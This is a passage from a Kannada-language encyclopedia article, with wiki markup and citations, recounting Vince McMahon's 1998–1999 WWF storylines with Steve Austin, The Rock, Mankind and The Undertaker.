ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಸ್ಟನ್ನರ್ ಕೊಟ್ಟನು ಮತ್ತು ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ರಿಂಗಿನ ಹಗ್ಗದ ಮೇಲೆ ಬಲವಾಗಿ ಹೊಡೆದನು. ರಾವ್ ಪ್ರದರ್ಶಿಸಲಾದ ನಂತರ, ಮೆಕ್ ಮಹೊನ್ ಒಸ್ಟಿನ್ ನೊಂದಿಗೆ ಆವೇಶಪೂರ್ಣದಿಂದಿದ್ದನು. ವಿನ್ಸಿ ಒಂದು ಉಕ್ಕಿನ ಖುರ್ಚಿಯನ್ನು ತೆಗೆದನು ಮತ್ತು ಅವರು ಜಗಳವಾಡುವಂತೆ ಕಾಣುತಿತ್ತು, ಆದರೆ ನಿರ್ಣಯಕರ್ತ ಹಾಗು WWF ನ ಅಧಿಕಾರಿಗಳು ಇಬ್ಬರನ್ನೂ ತಡೆದರು. ಇದು ಒಸ್ಟಿನ್-ಮೆಕ್ ಮಹೊನ್ ರವರ ಪ್ರತಿಸ್ಪರ್ಧೆಗೆ ಆರಂಭವಾಗಿತ್ತು. ಅನೇಕ ತಿಂಗಳುಗಳ ನಂತರ ವಿನ್ಸಿ ಮೈಕ್ ಟೈಸನ್ ನನ್ನು WWF ಗೆ ಪರಿಚಯ ಮಾಡಿಸಿದ ನಂತರ, ಒಸ್ಟಿನ್ ಮತ್ತು ಟೈಸನ್ ಜಗಳವಾಡಲು ಆರಂಭಿಸಿದಾಗ ಅದು ಶ್ರೀ.ಮೆಕ್ ಮಹೊನ್ ನಿಗೆ ತೊಂದರೆಗೀಡುಮಾಡಿತು. ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಸ್ಟೀವ್ ಒಸ್ಟಿನ್ WWF ನ ಚೇಂಪಿಯನ್ನಾಗಿರಬೇಕಾ ಎಂದು ಕೆವಿನ್ ಕೆಲ್ಲಿ ನತ್ತಿರ ಕೇಳಿದಾಗ, ಅವನು ಪಬ್ಲಿಕ್ ರಿಲೆಶನ್ ಕೋರ್ಪರೇಟ್ ನೈಟ್ಮೇರಾಗಿ ಆಗುತ್ತದೆ ಎಂದು ಹೇಳಿದನು. ಪುನಃ ಹೌದು ಅಥವಾ ಇಲ್ಲ ಎಂದು ಕೇಳಿದಾಗ, ಅವನು ಉತ್ತರಿಸಿದನು "ಅದು ಬರಿ ಇಲ್ಲ ಮಾತ್ರವಲ್ಲ, ಅದು ಎಂದೆಂದೂ ಇಲ್ಲ ಮತ್ತು ಒಸ್ಟಿನ್, ಆ ವಾರ್ತೆಯಲ್ಲಿ ಮುಕ್ತಾಯವಾಯಿತು ಯಾಕೆಂದರೆ ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ ಹೇಳಿದನು, ತುಂಬಾದನ್ಯವಾದ". ಮಾರ್ಚ್ 30 ರ ರಾವ್ ಈಸ್ ವಾರ್ ಎಪಿಸೋಡಿನಲ್ಲಿ, ಒಸ್ಟಿನ್ ವ್ರೆಸಲ್ ಮೇನಿಯ 14 ರಲ್ಲಿ WWF ಪದವಿಯನ್ನು ಪಡೆದ ಆ ರಾತ್ರಿಯಲ್ಲಿ, ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ ಅವನಿಗೆ ಒಂದು ಹೊಸ ಪದವಿ ಬೆಲ್ಟನ್ನು ಕೊಟ್ಟನು ಮತ್ತು ಒಸ್ಟಿನ್ ನನ್ನು ಎಚ್ಚರಿಸಿದನು ಯಾಕೆಂದರೆ ಅವನು ಪ್ರತಿರೋಧಕ ಸ್ವಭಾವ ಹಾಗು ಕಾರ್ಯವನ್ನು "ಸುಲಭವಾಗಿ ಅಥವಾ ಕಷ್ಟವಾಗಿ" ಮಾಡುವದನ್ನು ಅನುಮೋದಿಸಲಿಲ್ಲ ಒಸ್ಟಿನ್ ಇನ್ನೊಂದು ಸ್ಟನ್ನೆರ್ ನಂತೆ ಉತ್ತರಿಸಿದನು ಮತ್ತು ಜನಸಮೂಹಕ್ಕೆ ಹೇಳಿದನು "ಈಗ ನೀವು ನೋಡಿದ್ದೇನೆಂದರೆ ಕಾರ್ಯವನ್ನು ಕಷ್ಟವಾಗಿ ಮಾಡುವುದು. ನಿಮಿಗೆ ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಕಷ್ಟವಾಗಿ ಮಾಡಬೇಕೆಂದರೆ ಎಲ್ಲರೂ ಒಂದು ಹೆಲ್ ಯೀಯ್ ಹೇಳಿ ಎಂದನು". ಜನಸಮೂಹವು ಅದಕ್ಕೆ ತಕ್ಕ ಪ್ರತ್ಯುತ್ತರ ಕೊಟ್ಟಿತು. ಜನಸಮೂಹವು ಅದಕ್ಕೆ ತಕ್ಕ ಪ್ರತ್ಯುತ್ತರ ಕೊಟ್ಟಿತು. ಇದು ಒಂದು ವಾರದ ನಂತರ ಒಂದು ಭಾಗದಲ್ಲಿ ಒಸ್ಟಿನ್ ಮೆಕ್ ಮಹೊನ್ ನೊಂದಿಗೆ "ಪ್ಲೆ ಬಾಲ್" ಮಾಡಲು ಸಭೆಯಲ್ಲಿ ಒಪ್ಪಿಗೆ ಕೊಟ್ಟನು, ಸೂಟ್ ಮತ್ತು ಟೈ ನಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡನು, ಹಾಗು ಪ್ರಕಾಶಿಸುವ ಮೆಕ್ ಮಹೊನ್ ತನ್ನನ್ನು ಮತ್ತು ತನ್ನ ಹೊಸ ಕೋರ್ಪರೇಟ್ ಚೇಂಪಿಯನ್ ನನ್ನು ಚಿತ್ರ ತೆಗೆಸಿದನು. ಈ ಎಲ್ಲಾ ಕಾರ್ಯವು ಒಸ್ಟಿನ್ ನ ಕುಯುಕ್ತಿಯಾಗಿತ್ತು, ಯಾರು ಆ ಸಂದರ್ಭದಲ್ಲಿ ಸೂಟನ್ನು ಹರಿಯಲು ಮುಂದುವರಿದನು ಮತ್ತು ಮೆಕ್ ಮಹೊನ್ ನಿಗೆ ಒಸ್ಟಿನ್ ಈತರ ವಸ್ತ್ರ ಧರಿಸುವುದು ಕೊನೆಯದಾಗಿ ನೋಡು ಎಂದು ಹೇಳಿದನು, ಒಸ್ಟಿನ್ "ಕೋರ್ಪರೇಟ್ ಗ್ರೇಪ್ಫ್ರೂಟ್ಸ್" ನಿಂದ ಬೊಸ್ ಗೆ ಗುದ್ದಿದನು, ಮತ್ತು ಮೆಕ್ ಮಹೊನ್ ಎರಡರಷ್ಟು ನೋವಿನಲ್ಲಿರುವಾಗ ಇನ್ನೊಂದು ಚಿತ್ರ ತೆಗೆಸಿದನು. ಏಪ್ರಿಲ್ 1998 ರಲ್ಲಿ, ಒಸ್ಟಿನ್ ಮತ್ತು ಮೆಕ್ ಮಹೊನ್ ತಮ್ಮ ಎಲ್ಲಾ ವ್ಯತ್ಯಾಸವನ್ನು ಬಿಟ್ಟು ನಿಜವಾದ ಪಂದ್ಯದಲ್ಲಿ ಜಗಳಕ್ಕೆ ಹೊರಟಂತೆ ಕಾಣುತಿತ್ತು, ಆದರೆ ಡ್ಯೂಡ್ ಲವ್ ಬಂದ ಕಾರಣ ಪಂದ್ಯವು ನೊಕೋನ್ಟೆಸ್ಟ್ ಎಂದು ತೀರ್ಪಾಯಿತು. ಇದು ಅನ್ಫೊರ್ಗಿವನ್ ನಲ್ಲಿ ಲವ್ ಮತ್ತು ಒಸ್ಟಿನ್ ವಿರುದ್ಧ ಪಂದ್ಯಕ್ಕೆ ಕಾರಣವಾಯಿತು, ಎಲ್ಲಿ ಶ್ರೀ.ಮೆಕ್ ಮಹೊನ್ ಪದವಿ ಪಂದ್ಯದಲ್ಲಿ ರಿಂಗ್ ನ ಬದಿ ಕುಲಿತುಕೊಂಡಿರುವನು. ಒಸ್ಟಿನ್ ಇದನ್ನು ಟೀಕೆ ಮಾಡಿದನು, ಹೇಗೆಂದರೆ ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ ಸೇರ್ವೈವರ್ ಸೀರೀಸ್ ನಲ್ಲಿ ಹಿಂದೊಮ್ಮೆ ಮಾಡಿದ್ದಾನೆ, ಮತ್ತು ಯಾರೊಬ್ಬರೊ ಪದವಿಯನ್ನು ತೆಗೆದುಕೊಂಡು ಹೋದರು (ಮೋಂಟ್ರೀಲ್ ಸ್ಕ್ರಿವ್ಜೊಬ್ ನ ಒಂದು ಸಂಬಂಧ). ಒಸ್ಟಿನ್ ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ಖುರ್ಚಿಯಿಂದ ಹೊಡೆದು ಅನರ್ಹತೆಯಿಂದಾಗಿ ಡ್ಯೂಡ್ ಲವ್ ಪಂದ್ಯವನ್ನು ಗೆದ್ದನು. ಇನ್ ಯುವರ್ ಹೌಸ್ ನಲ್ಲಿ ನಡೆದ ಪುನಃಪಂದ್ಯದಲ್ಲಿ : ಒವರ್ ದಿ ಎಡ್ಜ್ ಫೊರ್ ದಿ WWF ಚೇಂಪಿಯನ್ಶಿಪ್, ಮೆಕ್ ಮಹೊನ್ ನಿರ್ನಯಕರ್ತನಾಗಿ ಮತ್ತು ತನ್ನ "ಕೋರ್ಪರೇಟ್ ಸ್ಟೂಜೆಸ್" (ಗೆರಾಲ್ಡ್ ಬ್ರಿಸ್ಕೊ ಮತ್ತು ಪೆಟ್ ಪೆಟರ್ಸನ್) ಟೈಮ್ಕೀಪರ್ ಹಾಗು ರಿಂಗ್ ನಿವೇದಕರಾಗಿದ್ದರೂ ಸಮೆತ ಒಸ್ಟಿನ್ ಪದವಿಯನ್ನು ಇಟ್ಟುಕೊಳ್ಳಲು ನಿರ್ವಹಿಸಿದನು. ಒಸ್ಟಿನ್ ನನ್ನು ನಾಶ ಮಾಡುವ ಎಲ್ಲಾ ಪ್ರಯತ್ನವನ್ನು ಮೆಕ್ ಮಹೊನ್ ಮುಂದುವರಿಸಿದನು, ಆದರೆ 1998 ರ ಕಿಂಗ್ ಒಫ್ ದಿ ರಿಂಗ್ ಟೂರ್ನಮೆನ್ಟ್ ನಲ್ಲಿ ತನ್ನ ಪಂಗಡದವರಿಗೆ ಕೊನೆಯದಾಗಿ ಒಂದು ದೊಡ್ದ ಗೆಲುವನ್ನು ತಂದು ಕೊಟ್ಟನು. ಅಲ್ಲಿ ಒಸ್ಟಿನ್ ಫಸ್ಟ್ ಬ್ಲಡ್ ಪಂದ್ಯದಲ್ಲಿ ಕೇನಿಗೆ WWF ಚೇಂಪಿಯನ್ಶಿಪ್ ಯನ್ನು ಕಳೆದುಕೊಂಡನು. ಒಸ್ಟಿನ್ ಇನ್ನೊಂದು ರಾತ್ರಿ ನಡೆದ ರಾವ್ ನಲ್ಲಿ ಚೇಂಪಿಯನ್ಶಿಪ್ ಯನ್ನು ಗೆದ್ದು ಪುನಃ ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ರೇಗಿಸಿದನು. ಒಸ್ಟಿನ್ ಸಮ್ಮರ್ಸ್ಲೇಮ್ ನಲ್ಲಿ ದಿ ಅಂಡರ್ಟೇಕರ್ ನ ವಿರುದ್ಧ ಜಯಶಾಲಿಯಾಗಿ ಕಂಡುಬಂದನು. ಇದರ ಪ್ರತಿಕ್ರಿಯೆಯಾಗಿ, ಇನ್ ಯುವರ್ ಹೌಸ್ ನಲ್ಲಿ ಟ್ರಿಪಲ್ ತ್ರೆಟ್ ಪಂದ್ಯವನ್ನು ಇಟ್ಟುಕೊಂಡನು. ಎಲ್ಲಿ ಅಂಡರ್ಟೇಕರ್ ಹಾಗು ಕೇನ್ ಒಬ್ಬರಿಬ್ಬರನ್ನು ಹೊಡೆಯಲು ನಿಷೇಧಮಾಡುವ ನಿಯಮ ತಂದನು. ಆ ಘಟನೆಯಲ್ಲಿ, ದಿ ಅಂಡರ್ಟೇಕರ್ ಮತ್ತು ಕೇನ್ ಒಂದೇ ಸಮಯ ಒಸ್ಟಿನ್ ನನ್ನು ಹೊಡೆದರು. ಮೆಕ್ ಮಹೊನ್ WWF ಚೇಂಪಿಯನ್ಶಿಪ್ ನನ್ನು ಬರಿದುಮಾಡಲು ನಿಶ್ಚಯಿಸಿದನು ಹಾಗು ಪ್ರಶಸ್ತಿಯನ್ನು ಅಂಡರ್ಟೇಕರ್ ಮತ್ತು ಕೇನ್ ನ ವಿರುದ್ಧ ಪಂದ್ಯದ ಮೇಲೆ ನಿರ್ಣಯಿಸಿದನು. Austin refused to count for either man and attacked both towards the end of the match. ಒಸ್ಟಿನ್ ಮೆಕ್ ಮಹೊನ್ ನೊಂದಿಗೆ ಹಗೆ ತೀರಿಸಿಕೊಳ್ಳಲು ಅವನನ್ನು ಕದ್ದುಕೊಂಡು ಹೋದನು ಮತ್ತು ಅವನನ್ನು ಎಳೆದಾಡಿ ರಿಂಗ್ ನ "ಗನ್ಪೊಂಟ್" ನ ಮಧ್ಯಕ್ಕೆ ತಂದನು, ಅದು ಬೊಮ್ಮೆ ಬಂದೂಕು "Bang! 3:16" ಎಂದು ಮುಕ್ತಾಯವಯಿತು. ಈ ಘಟನೆಯು ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ಪೇಚಾಟ ಮಾಡಿತು ಹೇಗೆಂದರೆ ಅವನು ತುಂಬಾ ಭಯಪಟ್ಟು ಪೇಂಟಿನಲ್ಲೇ ಮೂತ್ರ ವಿಸರ್ಜನೆ ಮಾಡಿದನು. ಶೇನ್ ಮೆಕ್ ಮಹೊನ್ ನಿಂದ ನಂತರ ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಪುನಃ ಸಹಿ ಹಾಕಲ್ಪಟ್ಟನು. 1998 ರ ಸೇರ್ವೈವರ್ ಸೀರೀಸ್ ನಲ್ಲಿ ಡೆಡ್ಲಿ ಗೇಮ್ಸ್ ಎಂಬ 14-ವ್ಯಕ್ತಿ ಟೂರ್ನಮೆನ್ಟ್ ನಲ್ಲಿ WWF ಚೇಂಪಿಯನ್ಶಿಪ್ ನನ್ನು ಕಾಪಾಡಬೇಕೆಂದು ಮೆಕ್ ಮಹೊನ್ ಆಜ್ನೆ ಕೊಟ್ಟನು. ಮೇಂಕೈನ್ಡ್ ಫೈನೆಲ್ ಗೆ ಹೋಗಿದ್ದಾನೆ ಎಂದು ಮೆಕ್ ಮಹೊನ್ ನಿಶ್ಚಯಿಸಿಕೊಂಡನು. ಹೇಗೆಂದರೆ ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ಆಸ್ಪತ್ರೆಯಲ್ಲಿ ಮೇಂಕೈನ್ಡ್ ಸಂಧಿಸಿದನು, ಅಂಡರ್ಟೇಕರ್ ಮತ್ತು ಕೇನ್ ನಿಂದ ಮೆಕ್ ಮಹೊನ್ ಆಸ್ಪತ್ರೆಗೆ ಕಳುಹಿಸಲ್ಪಟ್ಟನು<ref name="Survivor Series - The Rock vs Mankind">{{cite web|url=http://www.wwe.com/shows/survivorseries/history/1998/1998/|title=Survivor Series 1998 main event|accessdate=2008-01-15|publisher=WWE|archive-date=2007-12-13|archive-url=https://web.archive.org/web/20071213162612/http://www.wwe.com/shows/survivorseries/history/1998/1998/|url-status=dead}}</ref> ಅವನು ಮೇಂಕೈನ್ಡ್ ನಿಗೆ WWF ಹಾರ್ಡ್ಕೋರ್ ಚೇಂಪಿಯನ್ಶಿಪ್ ಪ್ರಶಸ್ತಿಯನ್ನು ಕೊಟ್ಟನು ಯಾಕೆಂದರೆ ಅವನು ಹಾರ್ಡ್ಕೋರ್ ವ್ರೆಸ್ಲಿಂಗ್ ನ ಕಲ್ಪಿತನ ದರ್ಜಿಯನ್ನು ಕಂಡು. ನಿಜವಾಗಿಯೂ, ಮೆಕ್ ಮಹೊನ್ ಪಂದ್ಯದ ವೇಲೆ ಮೇಂಕೈನ್ಡ್ ನಿಗೆ ಸಹಾಯಮಾಡುವಂತಾಗಿತ್ತು. ಒಂದು ಸಂದರ್ಭದಲ್ಲಿ, ದಿ ರೋಕ್ ತನ್ನ ಗಮನವನ್ನು ಮೆಕ್ ಮಹೊನ್ ಕಡೆಗೆ ತಿರುಗಿಸಿದನು. ಮೆಕ್ ಮಹೊನ್ ಸ್ಕ್ರಿವ್ ಜೋಬ್ ನಂತರ ಮೇಂಕೈನ್ಡ್ ನ ಕಡೆಗೆ ತಿರುಗಿದನು: ಹಾಗಿದ್ದರೂ, ದಿ ರೋಕ್ ಶಾರ್ಪ್ಶೂಟರ್ ನಲ್ಲಿ ಮೇಂಕೈನ್ಡ್ ನನ್ನು ಹಿಡಿದನು. ಮೇಂಕೈನ್ಡ್ ಒಪ್ಪಿಸಲಿಲ್ಲದಿದ್ದರೂ ಮೆಕ್ ಮಹೊನ್ ಘಂಟೆ ಬಾರಿಸಲು ನಿರ್ನಯಕರ್ತನಿಗೆ ಕಟ್ಟಳೆ ಕೊಟ್ಟನು, ಆದರಿಂದ ದಿ ರೋಕ್ ಗೆ WWF ಚೇಂಪಿಯನ್ಶಿಪ್ ಕೊಡಲಾಯಿತು. ಇದು ಒಂದು ವರ್ಷದ ಹಿಂದೆ ನಡೆದ "ಮೋಂಟ್ರೀಲ್ ಸ್ಕ್ರಿವ್ಜೊಬ್" ಗೆ ಸತ್ಕಾರ ಕೊಡುವಹಾಗೆ ಇತ್ತು.<ref name="Survivor Series - The Rock vs Mankind" /> ಮೆಕ್ ಮಹೊನ್ ದಿ ರೋಕ್ ನನ್ನು "ಕೋರ್ಪರೇಟ್ ಚೇಂಪಿಯನ್" ಎಂದು ಅಮೋದಿಸಿದನು. ಆದರಿಂದ ತನ್ನ ಮಗ ಶೇನ್ ಮತ್ತು ದಿ ರೋಕ್ ನೊಂದಿಗೆ ಕೋರ್ಪರೇಶನ್ ರೂಪಿಸುವಂತೆ ಮಾಡಿದನು.<ref name="corporation">{{cite web|url=http://www.onlineworldofwrestling.com/profiles/c/corporation.html|title=Corporation Profile|accessdate=2008-01-15|publisher=Online World of Wrestling}}</ref> ಆಗ[[Rock Bottom: In Your House]], ದಿ ರೋಕ್ ಮೇಂಡಿಬಲ್ ಕ್ಲವ್ ಗೆ ಹೋದಮೇಲೆ ಮೇಂಕೈನ್ಡ್ ದಿ ರೋಕ್ ನಿಂದ WWF ಚೇಂಪಿಯನ್ಶಿಪ್ ಗೆದ್ದನು. ಮೆಕ್ ಮಹೊನ್, ಹಾಗಿದ್ದರೂ, ಮತೊಮ್ಮೆ ತೀರ್ಪನ್ನು ತಿರುಗಿಸಲು ಮೇಂಕೈನ್ಡ್ ಗೆ ಸ್ಕ್ರಿವ್ ಮಾಡಿದನು ಮತ್ತು ಬೆಲ್ಟನ್ನು ತಾನು ಆಯ್ಕೆ ಮಾಡಿದ ಚೇಂಪಿಯನ್ ನಾದ ದಿ ರೋಕ್ ಗೆ ಕೊಡುವಂತೆ ಮಾಡಿದನು.<ref>{{cite web|url=http://www.prowrestlinghistory.com/supercards/usa/wwf/miscppvs1990s.html#26|title=Rock Bottom results|accessdate=2008-01-15|publisher=Wrestling Supercards and Tournaments}}</ref> ವಿವರಪಟ್ಟಿಯ ಪ್ರಕಾರ ಪಾಲುಗಾರನಾಗದಿದ್ದರು, ಜನವರಿ 11, 1999 ''ರಾವ್'' ಎಡಿಶನ್ ನಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ "ಕೋರ್ಪರೇಟ್ ರಂಬಲ್" ಗೆ ಭಾಗವಹಿಸಲು ಹೋದನು, ಆದರೆ ಚೈನ ದಿಂದ ತೆಗೆದಾಕಲ್ಪಟ್ಟನು. [[File:Vince McMahon 2.jpg|thumb|left|ವಿನ್ಸೆ ಮಕ್ಮಹೋನ್ 2006 ರಲ್ಲಿ.]] ಡಿಸೆಂಬರ್ 1998 ರಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ರೊಯಲ್ ರಂಬಲ್ ಅರ್ಹತೆಯ ಬರೀಡ್ ಎಲೈವ್ ಪಂದ್ಯದಲ್ಲಿ ಒಸ್ಟಿನ್ ಅಂಡರ್ಟೇಕರ್ ನನ್ನು ಎದುರಿಸುವಂತೆ ಮಾಡಿದನು, ಅದಾದನಂತರ ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಸ್ಟೀವ್ ಒಸ್ಟಿನ್ ನಡುವಿನ ಲೋಂಗ್-ರನ್ನಿಂಗ್ ದ್ವೇಷವನ್ನು ಪುನಃ 1999 ರಲ್ಲಿ ಶುರುಮಾಡಿದನು. ಒಸ್ಟಿನ್ ಕೇನಿನ ಸಹಾಯದಿಂದ ಅಂಡರ್ಟೇಕರ್ ನನ್ನು ಸೋಲಿಸಿದನು. ಯಾರಾಗಿದ್ದರೂ ಒಸ್ಟಿನ್ ನನ್ನು ರೊಯಲ್ ರಂಬಲ್ ಪಂದ್ಯದಲ್ಲಿ ತೆಗೆದಾಕುವುದಕ್ಕೆ $100,000 ಕೊಡುವಂತೆ ಪ್ರತಿಜ್ನೆಮಾಡಿದನು.<ref name="Royal Rumble - 1999 Rumble match">{{cite web|url=http://www.wwe.com/shows/royalrumble/history/19881143/mainevent/|title=1999 Royal Rumble match|accessdate=2008-01-15|publisher=WWE}}</ref> ರೊಯಲ್ ರಂಬಲ್ ನಲ್ಲಿ, ರೋಕ್ ನ ಸಹಾಯದಿಂದ, ಮೆಕ್ ಮಹೊನ್ ಪಂದ್ಯವನ್ನು ಗೆದ್ದನು ಮತ್ತು WWF ಚೇಂಪಿಯನ್ ದಿ ರೋಕ್ ನನ್ನು ವ್ರೆಸಲ್ ಮೇನಿಯ XV ರ ಪದವಿ ಪಂದ್ಯಕ್ಕೆ ಸಂಪಾದಿಸಿದನು. ಹಾಗಿದ್ದರೂ, WWF ಕಮಿಶನರ್ ಶೌನ್ ಮೈಕಲ್ಸ್ ಅದನ್ನು ಒಸ್ಟಿನ್ ಗೆ ಹಸ್ತಾಂತಿರಿಸಿದನು.<ref>{{cite web|first=Christopher|second=Robin|last=Zimmerman|url=http://www.otherarena.com/htm/cgi-bin/history.cgi?1999/raw012599|archiveurl=https://web.archive.org/web/20080209100552/http://www.otherarena.com/htm/cgi-bin/history.cgi?1999%2Fraw012599|archivedate=2008-02-09|title=RAW is WAR recap|accessdate=2008-01-15|date=1999-01-25|publisher=The Other Arena|url-status=dead}}</ref> ಒಸ್ಟಿನ್ [[St. Valentine's Day Massacre: In Your House|ಇನ್ ಯುವರ್ ಹೌಸ್ ಸಂತ.ವೆಲೆನ್ಟೈನ್ಸ್ ಡೆ ಮೆಸೆಕರ್]] ಸ್ಟೀಲ್ ಕೇಜ್ ಪಂದ್ಯದಲ್ಲಿ ವಿನ್ಸಿ ನೊಂದಿಗೆ ಜಗಳವಾಡುವ ಸಂದರ್ಭಸಿಗುವಂತೆ ತನ್ನ ಪದವಿಯನ್ನು ಮೆಕ್ ಮಹೊನ್ ನ ವಿರುದ್ಧ ಬರುವಂತೆ ನಿಶ್ಚಯಿಸಿದನು. ಪಂದ್ಯದ ನಡುವೆ, ಬಿಗ್ ಶೊ-ಭವಿಷ್ಯದ ಕೋರ್ಪರೇಶನ್ ನ ಸಧಸ್ಯ-ಅಡ್ಡಬಂದು, ತನ್ನ ಮೊದಲ WWF ನ ಪ್ರವೇಶ ಮಾಡಿದನು. ಅವನು ಒಸ್ಟಿನ್ ನನ್ನು ಕೇಜ್ ನ ಬದಿಗೆ ಎಸೆದು ಅವನಿಗೆ ಜಯ ಸಿಗುವಂತೆ ಮಾಡಿದನು.<ref name="corporation" /><ref>{{cite web|url=http://www.onlineworldofwrestling.com/results/wweppv/stvalentinesdaymassacre.html|title=St. Valentine's Day Massacre results|accessdate=2008-01-15|publisher=Online World of Wrestling}}</ref> [[ದಿ ಅಂಡರ್‌ಟೇಕರ್|ದಿ ಅಂಡರ್ಟೇಕರ್]] ನ ಹೊಸ ಪಂಗಡವಾದ "ಮಿನಿಸ್ಟ್ರಿ ಒಫ್ ಡಾರ್ಕ್ನೆಸ್" ನೊಂದಿಗೆ ಕೋರ್ಪರೇಶನ್ ದ್ವೇಷದಿಂದಿರಲು ಪ್ರಾರಂಭಿಸಿದರು, ಅದು ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ ನ ಮಗಳು ಸ್ಟಿಫೆನಿ ಮೆಕ್ ಮಹೊನ್ ಪರಿಚಯ ಕೊಡುವ ಕಥೆಅಂಶಕ್ಕೆ ಕಾರಣವಾಯಿತು. ಸ್ಟಿಫೆನಿ "ಮುಗ್ದ ಚೆಲುವಾದ ಹುಡುಗಿ" ಯಾಗಿ ಕಾಣಿಸಿಕೊಂಡಳು, ಅವಳನ್ನು ಎರಡು ಬಾರಿ ದಿ ಮಿನಿಸ್ಟ್ರಿಯವರು ಕದ್ದುಕೊಂಡುಹೋದರು. ಮೊದಲನೆಯ ಸಮಯ ಕದ್ದುಕೊಂಡುಹೋದಾಗ, ಮೆಕ್ ಮಹೊನ್ ಪರವಾಗಿ ಸ್ಟೇಡಿಯಮ್ ನ ತಲಾಂತಸ್ತಿನಲ್ಲಿ ಕೆನ್ ಶಮ್ರೊಕ್ ನೊಡನೆ ಕಂಡುಬಂದಳು. ಎರಡನೆಯ ಸಮಯ ಕದ್ದುಕೊಂಡುಹೋದಾಗ, ದಿ ಅಂಡರ್ಟೇಕರ್ ಅವಳನ್ನು ಮಿನಿಸ್ಟ್ರಿ ಕ್ರುಸಿಫಿಕ್ಸ್ ನಲ್ಲಿ ಬಲವಂತವಾಗಿ ಕಟ್ಟಿಹಾಕಿ ಮದುವೆ ಮಾಡಲು ಪ್ರಯತ್ನಿಸಿದನು, ಆದರೆ ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಸ್ಟೀವ್ ಒಸ್ಟಿನ್ ನಿಂದ ರಕ್ಷಿಸಲ್ಪಟ್ಟಳು. ಈ ಏಂಗಲ್ ಮೆಕ್ ಮಹೊನ್ ಮತ್ತು ಒಸ್ಟಿನ್ ನ ನಡುವೆ ಸ್ನೇಹವನ್ನು ಉಂಟುಮಾಡಿತು, ಹಾಗು ಅವರ ಬಹುಕಾಲ ನಡೆಯುತಿದ್ದ ದ್ವೇಷವನ್ನು ತಣ್ಣಗೆ ಪಡಿಸಿತು. ಹಿಂದೆ ಅಪರಿಚಿತ ಪಾತ್ರವು "ಹೈಯರ್ ಪವರ್" ನ ಕಾರಣ ಉಂಟಾಯಿತು, ಶೇನ್ ಮೆಕ್ ಮಹೊನ್ ಮತ್ತು ದಿ ಅಂಡರ್ಟೇಕರ್ ಇದನ್ನು ಕಲ್ಪಿಸಿದರು. ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್, ಹೇಗಿದ್ದರೂ "ಹೈಯರ್ ಪವರ್" ಎಂದು ಜೂನ್ 7 ರ ''Raw'' ಎಡಿಶನ್ ನಲ್ಲಿ ಬಯಲುಮಾಡಲಾಯಿತು, WWF ಚೇಂಪಿಯನ್ ಒಸ್ಟಿನ್ ಮೇಲಿನ ದ್ವೇಷವನ್ನು ಸೂಚಿಸುತಿತ್ತು. ಮೆಕ್ ಮಹೊನ್ ನ ಮಗ ಶೇನ್ ಕೋರ್ಪರೇಶನ್ ನನ್ನು ಅಂಡರ್ಟೇಕರ್ ನ ಮಿನಿಸ್ಟ್ರಿ ಒಫ್ ಡಾರ್ಕ್ನೆಸ್ ನೊಂದಿಗೆ ಐಕ್ಯವಾಗಿ ಮಾಡಿ ಕೋರ್ಪರೇಟ್ ಮಿನಿಸ್ಟ್ರಿಯನ್ನು ರೂಪಿಸಿದನು. ಮೇ 1999ರ ಸಮಯದಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಸ್ವಲ್ಪ ಕಾಲ ಇದ್ದ ದಿ ಯುನಿಯನ್ ಸಂಸ್ಥೆಯ ಸಧಸ್ಯನಾಗಬಹುದಿತ್ತು. ಮೆಕ್ ಮಹೊನ್ "ಹೈಯರ್ ಪವರ್" ನಲ್ಲಿ ಇರುವ ಕಾರಣ, WWF ನ 50% ಪಾಲನ್ನು ಲಿಂಡ ಮತ್ತು ಸ್ಟಿಫೆನಿ ಮೆಕ್ ಮಹೊನ್ ಕೆಯ್ಫೇಬ್ ಅಸಹ್ಯದಿಂದ ಒಸ್ಟಿನ್ ಗೆ ಕೊಟ್ಟರು. ಕಿಂಗ್ ಒಫ್ ದಿ ರಿಂಗ್ ನಲ್ಲಿ, ವಿನ್ಸಿ ಮತ್ತು ಶೇನ್ ಮೆಕ್ ಮಹೊನ್ ಹೇನ್ಡಿಕೇಪ್ ಲೇಡರ್ ಪಂದ್ಯದಲ್ಲಿ WWF ಯನ್ನು ಪುನಃ ಹತೋಟಿಗೆ ತರಲು ಒಸ್ಟಿನ್ ನನ್ನು ಸೋಲಿಸಿದರು.<ref>{{cite web|url=http://www.prowrestlinghistory.com/supercards/usa/wwf/kingring.html#1999|title=King of the Ring 1999 results|accessdate=2008-01-16|publisher=Wrestling Supercards and Tournaments}}</ref> ತರುವಾಯ CEO, ಒಸ್ಟಿನ್ WWF ಪದವಿಪಂದ್ಯವನ್ನು ಕಿಂಗ್ ಒಫ್ ದಿ ರಿಂಗ್ ಮುಗಿದ ಮೇಲೆ ''Raw'' ನಲ್ಲಿ ನಡೆಯಬೇಕೆಂದು ವಿವರಪಟ್ಟಿಯನ್ನು ಮಾಡಿಕೊಂಡನು. ಪಂದ್ಯದ ವೇಲೆ, ಒಸ್ಟಿನ್ WWF ಚೇಂಪಿಯನ್ ನಾಗಲು ಪುನಃ ಅಂಡರ್ಟೇಕರ್ ನನ್ನು ಸೋಲಿಸಿದನು. ಫುಲ್ಲಿ ಲೊಡೆಡ್ ನಲ್ಲಿ, ಒಸ್ಟಿನ್ ಪುನಃ ದಿ ಅಂಡರ್ಟೇಕರ್ ವಿರುದ್ಧ ಪಂದ್ಯಕ್ಕೆ 